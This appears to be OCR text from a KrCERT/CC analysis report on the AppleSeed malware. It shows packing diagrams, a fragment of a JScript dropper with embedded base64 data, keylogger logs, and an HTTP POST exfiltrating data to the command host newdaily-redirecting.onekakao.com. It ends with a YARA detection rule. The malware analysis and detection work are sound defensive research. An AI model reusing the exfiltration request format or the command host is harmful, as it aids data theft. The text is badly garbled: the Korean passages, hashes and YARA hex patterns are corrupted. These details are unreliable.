fol
o
rin
—E—I
e

Packfile.exe

=]

oo
fol
MO
| 9%
m

T 44
W" - y
YL

ﬂ XOR
?

<>
4 e J 4Byte Flag
S =T g
2= niel i - A
s 4Byte Flag A4
e vte Flag
(%PDF-17..) d =
e

)Q KOREA INTERNET & 32 QIE|LEOHCHSYE]
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Deobfuscate/Decode Files or Information : tH=otel IfAS ClRESHO] AR

z oo =
AE5te[0] HESE HIOIHE 525 E+5 0|805t0 A2te| Ao 5555 DIt
-~ HAAA Y OFHqc0| 2 base642 QIRLSEI0] RESHI|E BICH
Unpackfile
esatel oty
-
o UnPackfile.exe
* M Ihe 44
q XOR P A
—r
SI3tg ol SEE] 2z nd
4Byte Flag ﬁ

r
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[<package><job id="rILYWYbN'> <script language=")Script'>
function mainQ

{

try {
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var var_b64data = "/9j/4AAQSkZIRgABAQEAYABgAAD/4gxYSUNDX1BSTOZI TEUAAQEAAAXITGlubwIQAABtbnRyUkdCIFhZWiAHzg ACAAKABgAXAABHY3Nw
XNJAAAAAAAAACSIRUMgNJESN]YtMidxIERIZmF1bHQgUkdCIGNVbGI1ciBzc GFZSAtIHNSROIAAAAAAAAAAAAAACSIRUMgNIESN]YtMidxIERIZmF1bHQgUkdCIGN
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Input Capture : 7|22
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[ 2020 18-02-32-192 ] < HRE > ----
[1b][1b][1b][1b][1b][back][1b][1b][1b][1b][1b][1b][1b][1b][1b][1b] bz
[1b][1b][1b][1b][1b][1b][1b][1b][1b][1b]

---- [ 2020 18-09-23-558 ] < hi.txt - 2% > ----
[1b]
[ 2020- 18-09-45-508 ] < 2 ©23 (C:) > ----
[1b][1b][1b][1b][1b][1b][1b][1b]
- [ 2020- 18-09-52-940 ] < hi.txt - HEE > ----
[1b]
---- [ 2020 18-09-53-595 ] < Al2® > ----
[1b][1b][1b]
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Data from Local System : Z'Y AIAHOCZEEQ| HO|H 43
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Data Encoding : G|O|H QI2Y
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T e
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Exfiltration : 8=

Data Transfer Size Limits : GIO|Ef £ AtO|= |Gt

HAH O PG REOM CIOHE RS Tf TFY AFO[27F 0x1000000 Byte O|&f0|H MAS FLoHCt
28 IOl 0pz|g MY 0|&2 [filename]-XXXXXX date2 1ZEICt
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Al GOIE 0

POST //?m=b&p1=08f123408&p2=d HTTP/1.1
Content-Type:
Content-Length: 16777442

OX].OOOOOOBYte Host: newdaily-redirecting.onekakao.com
_ . Connection: Keep-Alive
O] 6]’ JJ—}?:_‘ ﬁ—}é\-‘ Cache-Control: no-cache

----7263b57d61lacd27d98a454fc484795fe0106d5
Content-Disposition: form-data; name="binary"; filename="
Content-Type: application/octet-stream

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

multipart/form-data; boundary=--7263b57d6lacd27d98a454fc484795fe@106d5

like Gecko) Chrome/74.¢

yyyy-MM-dd_hh-mm-ss-SSS

----7263b57d61acd27d98a454fc484795fe@106d5
Content-Disposition:
Content-Type: application/octet-stream

0x1000000Byte

ol Il [E ----7263b57d61acd27d98a454f484795fe@106d5
Content-Disposition: form-data; name="binary"; filename=
Content-Type: application/q_ctet-stream

end
----7263b57d61acd27d98a454fc484795fe0106d5- -

form-data; name="binary"; filename=" yyyy-MM-dd_hh-mm-ss-SSS-000000

=" yyyy-MM-dd_hh-mm-ss-SSS-XXXXXX "
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6. Yara Rule

rule AppleSeed
{
meta:

author = "KrCERT/CC Profound Analysis Team"
date = "2020-12-04"
info = "Operation MUZAB!"
ver = "1.0"
hash1 ="43cc6d190238e851d33066cheSbe9ac8"
hash2 ="fd10bd6013aabadbcb9edb8a23ba7331"
hash3 ="16231e2e8991c60a42f293e0c33ff801"
hash4 ="89fff6645013008cda57f88639H92990"
hash5 ="030e2f992cbc4e61f0d5c994779caf3b"
hash6 ="3620c22671641fbf32cf496b118b85f6"
hash7 ="4876fc88c361743a1220a7b161f3f06f"
hash8 ="94b8a0e4356d0202dc61046e3d8bdfe0”

strings:
$appleseed_str1 = {OF 8? ?? (00|01) 00 00 [0-1] 83 F? 20 OF 8? ?? (01/00) 00 0O }
$appleseed str2 = {88 45 [0-15] OF B6 44 ?? 01}
$appleseed_str3 = {83 F? 10 [0-5] 83 E? 10}
$appleseed_key1 = {89 04 ?9 [0-6] FF 34 ?? E8 [10-16] 89 0C 98 8B ?? 0OC [0-3] FF 34 98 }
$appleseed_key2 = {83 F? 10 [0-10] 32 4C 05 ?? ?? 88 4C ?? OF}
Sappleseed_key3 = {89 04 ?9 49 83 ?? 04 48 ?? ?? 10 8B OC A8 E8 [0-10] 48 8B ?? 78 }
$seed_str1 = {44 OF B6 44 3D CO 45 32 C7 44 32 45 D4}
$seed_str2 = {OF B6 44 3? ?? [0-25] 83 C4 0C}
$seed_str3 = {32 45 C? ?? ?? ?? 32 45 E?}

condition:
uint16(0) == 0x5A4D and filesize < 400KB and (2 of ($appleseed_str*)) and (1 of
($seed_str*)) and (1 of ($appleseed_key*))
i
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